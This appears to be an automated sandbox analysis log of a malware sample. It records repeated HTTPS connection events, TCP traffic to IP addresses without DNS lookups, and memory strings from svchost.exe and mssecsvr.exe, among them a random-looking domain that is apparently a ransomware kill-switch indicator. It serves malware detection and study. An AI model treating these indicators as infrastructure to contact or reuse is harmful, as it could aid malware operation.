Source: unknown	Network traffic detected: HTTP traffic on port 55940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55768
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55521
Source: unknown	Network traffic detected: HTTP traffic on port 54448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55765
Source: unknown	Network traffic detected: HTTP traffic on port 55270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51173
Source: unknown	Network traffic detected: HTTP traffic on port 55572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 55853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54448
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54736
Source: unknown	Network traffic detected: HTTP traffic on port 55686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55701
Source: unknown	Network traffic detected: HTTP traffic on port 50722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55940
Source: unknown	Network traffic detected: HTTP traffic on port 55519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55270
Source: unknown	Network traffic detected: HTTP traffic on port 55846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 54885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53309
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55602
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56017
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50722
Source: unknown	Network traffic detected: HTTP traffic on port 52054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown	Network traffic detected: HTTP traffic on port 50721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54885
Source: unknown	Network traffic detected: HTTP traffic on port 55599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 55356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55853
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56393
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55348
Source: unknown	Network traffic detected: HTTP traffic on port 55432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54810
Source: unknown	Network traffic detected: HTTP traffic on port 51173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55347
Source: unknown	Network traffic detected: HTTP traffic on port 64872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55111
Source: unknown	Network traffic detected: HTTP traffic on port 51705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55350
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55599
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55488
Source: unknown	Network traffic detected: HTTP traffic on port 56346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64872
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55932
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56345
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56346
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56348
Source: unknown	Network traffic detected: HTTP traffic on port 61473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 55850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55429
Source: unknown	Network traffic detected: HTTP traffic on port 55932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53010
Source: unknown	Network traffic detected: HTTP traffic on port 56393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55436
Source: unknown	Network traffic detected: HTTP traffic on port 50427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55434
Source: unknown	Network traffic detected: HTTP traffic on port 55436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54590
Source: unknown	Network traffic detected: HTTP traffic on port 65004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55680
Source: unknown	Network traffic detected: HTTP traffic on port 55348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55686
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55572
Source: unknown	Network traffic detected: HTTP traffic on port 51321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65004
Source: unknown	Network traffic detected: HTTP traffic on port 55848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 54810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 50587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56432
Source: unknown	Network traffic detected: HTTP traffic on port 55684 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.86
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3

Source: svchost.exe, 0000001A.00000003.731611383.00000165A7570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001A.00000003.731611383.00000165A7570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.twitter.com (Twitter)
Source: svchost.exe, 0000001A.00000003.731611383.00000165A7570000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.731688837.00000165A7581000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z\|\|.\|\|58dfb4d5-be7e-424e-8739-cac99224843f\|\|1152921505695035586\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000001A.00000003.731611383.00000165A7570000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.731688837.00000165A7581000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z\|\|.\|\|58dfb4d5-be7e-424e-8739-cac99224843f\|\|1152921505695035586\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab

Source: svchost.exe, 0000001A.00000002.787571555.00000165A7500000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000001A.00000002.787437666.00000165A6CEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: mssecsvr.exe.2.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
Source: mssecsvr.exe, 00000007.00000003.390896197.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000007.00000003.390557983.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000007.00000003.390135943.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
Source: mssecsvr.exe, 00000007.00000002.984056786.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ
Source: svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000001A.00000003.744142929.00000165A7594000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745547238.00000165A7576000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744345175.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744268794.00000165A75A5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745579768.00000165A7579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.hotspotshield.com/
Source: svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000001A.00000003.749901189.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749828401.00000165A7597000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.749927898.00000165A75A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
